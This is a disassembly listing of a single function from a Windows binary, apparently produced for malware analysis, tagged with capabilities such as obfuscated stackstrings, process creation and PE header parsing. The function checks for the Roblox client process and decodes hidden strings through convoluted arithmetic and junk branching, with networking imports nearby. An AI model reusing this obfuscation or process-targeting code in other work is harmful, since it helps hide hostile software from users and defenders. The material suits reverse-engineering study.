Function at 0x1400d4450
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x378]
sub rsp, 0x478
xor edi, edi
lea rdx, [rbp + 0x3b8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0x50], rax
mov qword [rdx], rdi
call fcn.1400cd4e0
call fcn.1400d0b40
lea rdx, str.RobloxPlayerBeta.exe
lea rcx, [rsp + 0x68]
call fcn.14001f0c0
nop
lea rcx, [rsp + 0x68]
call fcn.1400cd410
movzx ebx, al
lea rcx, [rsp + 0x68]
call fcn.14001f100
test bl, bl
jne 0x1400d51a6
mov byte [rbp + 0x2c0], 0x98
mov byte [rbp + 0x2c1], 0xf4
mov byte [rbp + 0x2c2], Ordinal_143
mov byte [rbp + 0x2c3], 0xf7
mov byte [rbp + 0x2c4], 0xf3
mov byte [rbp + 0x2c5], 0xf9
mov byte [rbp + 0x2c6], 0x40
mov byte [rbp + 0x2c7], 0xf8
mov byte [rbp + 0x2c8], 0xf3
mov byte [rbp + 0x2c9], Ordinal_79
mov byte [rbp + 0x2ca], 0xfe
mov byte [rbp + 0x2cb], 0xfa
mov byte [rbp + 0x2cc], 0xf6
mov byte [rbp + 0x2cd], Ordinal_79
mov byte [rbp + 0x2ce], 0xf9
mov byte [rbp + 0x2cf], 0x87
mov byte [rbp + 0x2d0], 0xfd
mov byte [rbp + 0x2d1], 0x87
mov byte [rbp + 0x2d2], 0xc0
mov byte [rbp + 0x2d3], gethostname
mov byte [rbp + 0x2d4], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x2d5], Ordinal_143
mov byte [rbp + 0x2d6], 0xff
mov byte [rbp + 0x2d7], 0x81
mov byte [rbp + 0x2d8], 0x82
mov byte [rbp + 0x2d9], 0x3d
mov byte [rbp + 0x2da], 0xe2
mov byte [rbp + 0x2db], Ordinal_143
mov byte [rbp + 0x2dc], 0xf4
mov byte [rbp + 0x2dd], Ordinal_143
mov byte [rbp + 0x2de], Ordinal_143
mov byte [rbp + 0x2df], 0x9f
mov byte [rbp + 0x2e0], Ordinal_41
mov byte [rbp + 0x2e1], 0xef
mov byte [rbp + 0x2e2], __WSAFDIsSet
mov byte [rbp + 0x2e3], 0x9d
mov byte [rbp + 0x2e4], Ordinal_35
mov byte [rbp + 0x2e5], 0xf3
mov byte [rbp + 0x2e6], 0xeb
mov byte [rbp + 0x2e7], Ordinal_143
mov byte [rbp + 0x2e8], __WSAFDIsSet
mov byte [rbp + 0x2e9], __WSAFDIsSet
mov byte [rbp + 0x2ea], Ordinal_45
mov byte [rbp + 0x2eb], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2ec], 0x9b
mov byte [rbp + 0x2ed], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x2ee], __WSAFDIsSet
mov byte [rbp + 0x2ef], 0xa6
mov byte [rbp + 0x2f0], 0xa8
mov byte [rbp + 0x2f1], 0xa0
mov byte [rbp + 0x2f2], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x2f3], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2f4], xmm0
mov dword [rbp + 0x304], eax
mov byte [rbp + 0x308], al
movabs rsi, 0xe52ba818031ccb05
movabs r14, 0x91021431e7c46b31
movabs r12, 0xf70e8d5d565eee57
movabs r15, 0xb3063c95b74d4193
movzx r10d, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
mov rbx, rdi
cmp rbx, 0x49
jae 0x1400d516c
movzx r11d, byte [rbp + rbx + 0x2c0]
mov edx, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400d5163
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d46ed
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x57
add r10b, cl
jmp 0x1400d4710
je 0x1400d50f9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d5076
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d501f
nop dword [rax]
cmp r9, rbx
ja 0x1400d515a
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400d473d
lea rcx, [rbx + rsi]
movzx eax, dl
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x23
add r10b, cl
jmp 0x1400d4763
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d4fdb
inc rax
cmp r8, rax
je 0x1400d4fbb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4f90
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400d4cc1
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d4ca4
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d4c81
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d4c5c
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d4c3f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4c25
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d4c06
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d4bec
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d4bd2
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d4ba2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d4770
lea r8, [r9 + 0x61]
lea r9, [r8 + 4]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d513e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d5122
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d495c
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d4940
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d4924
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d4b58
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d4afc
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d4ac1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d4a9c
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d4770
lea r8, [r9 + 9]
lea r9, [r8 + 8]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d4a6c
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d4a52
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d4a38
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d4a19
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d49ff
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d49e2
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d49bc
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d4997
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d4978
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d4770
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x400]
jmp 0x1400d4770
lea r10d, [rbx - 0x65]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x3d
add r10b, r11b
jmp 0x1400d4763
lea r10d, [rbx + 0x39]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x71
add r10b, r11b
jmp 0x1400d4710
lea r10d, [rbx - 0x29]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x1f
add r10b, r11b
jmp 0x1400d46c0
lea r10d, [rbx + 0x28]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, r11b
movzx edi, bl
jmp 0x1400d4ff3
lea r10d, [rbx - 0x3a]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x6a
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx + 0x64]
movzx eax, cl
and al, r11b
mov r10d, Ordinal_35
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
movzx edi, bl
jmp 0x1400d5037
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400d505a
lea edx, [rbx + 0x3e]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d505d
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x1400d508c
lea ecx, [rbx + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x1400d50b5
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx + 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
mov byte [rbp + rbx + 0x2c0], r10b
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
cmp r9, 0x40
jb 0x1400d4ab1
movzx edi, bl
lea ecx, [rdi - 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x54]
jmp 0x1400d4ff3
lea ecx, [rbx + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
cmp r8, 1
jae 0x1400d4f51
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4eb5
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x1400d4f7a
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400d4dc2
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x45
jmp 0x1400d4b11
lea edx, [rbx + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x1400d50b5
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x1400d508c
lea edx, [rbx - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d505d
lea ecx, [rbx - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x1400d505a
movzx edi, bl
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400d5037
lea edx, [rbx - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400d46a3
movzx edi, bl
lea ecx, [rdi + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x1400d4ff3
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400d4ce4
lea ecx, [rbx + 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x1400d4b6d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4d18
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
inc rax
cmp r8, rax
jne 0x1400d4d3f
lea edx, [rbx - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d505a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4d6a
movzx edi, bl
lea edx, [rdi - 0xc]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d5037
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d4d93
lea ecx, [rbx + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
dec rbx
inc rbx
jmp 0x1400d46a3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d4b6d
movzx edi, bl
lea edx, [rdi + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4ff3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4de8
movzx edi, bl
lea ecx, [rdi + 0xf]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
jmp 0x1400d4ff3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d4e11
lea ecx, [rbx - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
dec rbx
inc rbx
jmp 0x1400d46a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4e37
movzx edi, bl
lea ecx, [rdi + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
jmp 0x1400d5037
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d4e5a
lea ecx, [rbx - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x1400d505a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d4e7d
lea ecx, [rbx + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
jmp 0x1400d508c
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d4b11
lea ecx, [rbx + 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
inc rax
cmp r8, rax
jne 0x1400d4ed7
lea ecx, [rbx + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x1400d50b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4eff
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r11b
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d508c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4f22
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x1400d505a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d4ad6
movzx edi, bl
lea edx, [rdi + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4ff3
movzx edi, bl
lea edx, [rdi - 0x18]
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x2c0]
sub r10b, al
sub r10b, 0x58
add r10b, r11b
add r10b, dl
jmp 0x1400d5037
lea ecx, [rbx + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [rcx - 6]
jmp 0x1400d508c
lea ecx, [rbx + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
lea ecx, [rbx + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
dec rbx
inc rbx
jmp 0x1400d46a3
movzx edi, bl
lea ecx, [rdi + 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
sub dil, 0x49
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
dec r11b
add r11b, dil
mov byte [rbp + rbx + 0x2c0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d46a3
movzx edi, bl
lea ecx, [rdi + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
add dil, 0x19
movzx eax, r11b
and al, dil
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x51
add cl, r11b
add cl, dil
mov byte [rbp + rbx + 0x2c0], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d46a3
lea rcx, [rbx + r12]
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x61
add r10b, cl
lea edx, [rbx + 0x7b]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x5d
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x2c0], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x54]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x2c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
lea rax, [rbx + r15]
and dl, al
add dl, dl
sub r11b, dl
lea r10d, [rax + r11]
sub r10b, 5
movzx eax, byte [rbp + rbx + 0x2c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d46a3
add bl, 0x75
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x33
xor edi, edi
jmp 0x1400d46a0
add bl, 0x13
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
add r10b, 0x7b
xor edi, edi
jmp 0x1400d4690
lea rcx, [rbp + 0x17807ac]
jmp 0x1400d5173
lea rcx, [rbp + 0xbc72dd]
jmp 0x1400d5173
lea rcx, [rbp + 0x2c0]
call fcn.140040a00
mov dword [rbp + 0x3c0], 1
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3c8]
call fcn.1400e4f20
mov rcx, rax
call fcn.1400e4f30
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp + 0x1d0], 0x68
mov byte [rbp + 0x1d1], 0x75
mov byte [rbp + 0x1d2], 0x76
mov byte [rbp + 0x1d3], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1d4], 0x77
mov byte [rbp + 0x1d5], 0x3f
mov byte [rbp + 0x1d6], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x1d7], Ordinal_45
mov byte [rbp + 0x1d8], 0x63
mov byte [rbp + 0x1d9], WSAGetLastError
mov byte [rbp + 0x1da], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1db], Ordinal_41
mov byte [rbp + 0x1dc], 0x62
mov byte [rbp + 0x1dd], 0x68
mov byte [rbp + 0x1de], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1df], 0x7a
mov byte [rbp + 0x1e0], 0x62
mov byte [rbp + 0x1e1], 0x3f
mov byte [rbp + 0x1e2], 0x7b
mov byte [rbp + 0x1e3], 0x7c
mov byte [rbp + 0x1e4], Ordinal_60
mov byte [rbp + 0x1e5], Ordinal_217
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e6], xmm0
movabs r14, 0x5fa6f8b70779caa0
movabs r12, 0x9d90cd0134548a60
movabs r13, 0xde42db932560f520
movabs r15, 0x1ef4ea25166d5fe0
movzx ebx, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
mov r11, rdi
cmp r11, 0x26
jae 0x1400d5a66
movzx r10d, byte [rbp + r11 + 0x1d0]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x1400d5a5d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d52db
lea rcx, [r11 + r14]
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
sub bl, 0x60
jmp 0x1400d5307
je 0x1400d59e9
inc rax
cmp r8, rax
je 0x1400d5984
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d593a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d5916
cmp r9, r11
ja 0x1400d5a54
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400d5333
lea ecx, [r11 + 0x20]
movzx eax, cl
and al, r10b
mov ebx, reloc.WS2_32.dll_recv
sub bl, al
add bl, bl
add bl, cl
add bl, r10b
jmp 0x1400d5366
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d58ca
inc rax
cmp r8, rax
je 0x1400d58a7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d56e8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d587a
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400d55b5
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d5597
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d5577
lea rcx, [r9 + 0x64]
cmp r8, rcx
je 0x1400d5569
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d554b
mov r8, rcx
lea r9, [rcx + 0x61]
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400d5a36
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400d5a14
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x1400d543d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d54d8
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400d54b1
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400d5493
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400d5476
lea rcx, [r9 + 9]
cmp r8, rcx
ja 0x1400d545b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d5380
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x1400d5380
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d52a6
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400d5830
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
jmp 0x1400d5957
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d59a1
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5293
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r8, 0x7a
jae 0x1400d5819
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400d5763
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r9, 6
jb 0x1400d5809
movzx edi, r11b
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea ebx, [rcx*2 - 0x80]
jmp 0x1400d58e6
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d5957
lea edx, [r11 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400d591f
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx ebx, r11b
sub bl, cl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1400d5293
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x40
movzx edi, r11b
jmp 0x1400d58e6
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400d5605
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400d585f
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400d56d2
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400d54e7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d563e
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5293
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d5661
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x40
jmp 0x1400d5957
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d568b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
jmp 0x1400d588f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d56b4
movzx edi, r11b
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
jmp 0x1400d5837
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d55d3
movzx edi, r11b
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400d58d6
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d58ca
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d5708
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
dec r11
inc r11
jmp 0x1400d5293
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d572f
movzx edi, r11b
lea edx, [rdi + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400d5834
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d587a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d54f1
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
jmp 0x1400d5957
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d579b
lea ecx, [r11 + 0x80]
movzx eax, cl
